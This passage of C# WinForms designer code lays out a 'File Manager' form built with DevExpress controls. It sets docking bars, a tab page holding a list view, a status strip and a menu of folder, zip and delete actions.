this.barSubItem2, this.MakeNewFolderMenu, this.OpenClientFolderMenu, this.GotoDesktopMenu, this.InstallZipMenu, this.ZipFolderMenu, this.UnzipMenu, this.GotoAppDataMenu, this.GotoUserProfileMenu, this.GotoDriversMenu,
this.DeleteMenu
});
this.barManager1.MaxItemId = 21;
this.barDockControlTop.CausesValidation = false;
this.barDockControlTop.Dock = System.Windows.Forms.DockStyle.Top;
this.barDockControlTop.Location = new System.Drawing.Point(0, 0);
this.barDockControlTop.Manager = this.barManager1;
this.barDockControlTop.Size = new System.Drawing.Size(822, 0);
this.barDockControlBottom.CausesValidation = false;
this.barDockControlBottom.Dock = System.Windows.Forms.DockStyle.Bottom;
this.barDockControlBottom.Location = new System.Drawing.Point(0, 436);
this.barDockControlBottom.Manager = this.barManager1;
this.barDockControlBottom.Size = new System.Drawing.Size(822, 0);
this.barDockControlLeft.CausesValidation = false;
this.barDockControlLeft.Dock = System.Windows.Forms.DockStyle.Left;
this.barDockControlLeft.Location = new System.Drawing.Point(0, 0);
this.barDockControlLeft.Manager = this.barManager1;
this.barDockControlLeft.Size = new System.Drawing.Size(0, 436);
this.barDockControlRight.CausesValidation = false;
this.barDockControlRight.Dock = System.Windows.Forms.DockStyle.Right;
this.barDockControlRight.Location = new System.Drawing.Point(822, 0);
this.barDockControlRight.Manager = this.barManager1;
this.barDockControlRight.Size = new System.Drawing.Size(0, 436);
this.xtraTabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl1.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(822, 410);
this.xtraTabControl1.TabIndex = 7;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
this.xtraTabPage1.Controls.Add(this.listViewExplorer);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(820, 379);
base.AutoScaleDimensions = new System.Drawing.SizeF(7f, 16f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(822, 436);
base.Controls.Add(this.xtraTabControl1);
base.Controls.Add(this.statusStrip1);
base.Controls.Add(this.barDockControlLeft);
base.Controls.Add(this.barDockControlRight);
base.Controls.Add(this.barDockControlBottom);
base.Controls.Add(this.barDockControlTop);
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormFileManager.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormFileManager.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(2);
base.Name = "FormFileManager";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "File Manager";
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(FormFileManager_FormClosed);
this.statusStrip1.ResumeLayout(false);
this.statusStrip1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.popupMenuFileManager).EndInit();
((System.ComponentModel.ISupportInitialize)this.barManager1).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
base.ResumeLayout(false);
base.PerformLayout();
}
}